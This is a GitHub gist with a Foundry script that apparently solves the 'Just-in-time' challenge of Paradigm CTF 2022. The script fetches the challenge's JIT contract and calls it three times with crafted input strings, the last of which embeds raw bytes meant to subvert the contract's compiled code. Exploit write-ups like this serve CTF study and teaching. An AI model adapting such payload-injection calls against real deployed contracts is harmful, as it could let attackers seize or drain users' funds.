Skip to content

Instantly share code, notes, and snippets.

@Philogy
Created August 22, 2022 15:40
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save Philogy/f4f48a29053344ce467c12ff62ebea8a to your computer and use it in GitHub Desktop.
Paradigm CTF 2022: Just-in-time solution
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import {Setup, JIT} from "src/public/contracts/Setup.sol";
contract ExploitJIT is Script {
function setUp() public {}
function run() public {
vm.startBroadcast();
Setup s = Setup(vm.envAddress("SETUP_ADDR"));
JIT jit = s.TARGET();
jit.invoke("[#######################]", "");
jit.invoke("########################[]", "");
jit.invoke("[################\x64S[\xff", "");
vm.stopBroadcast();
}
}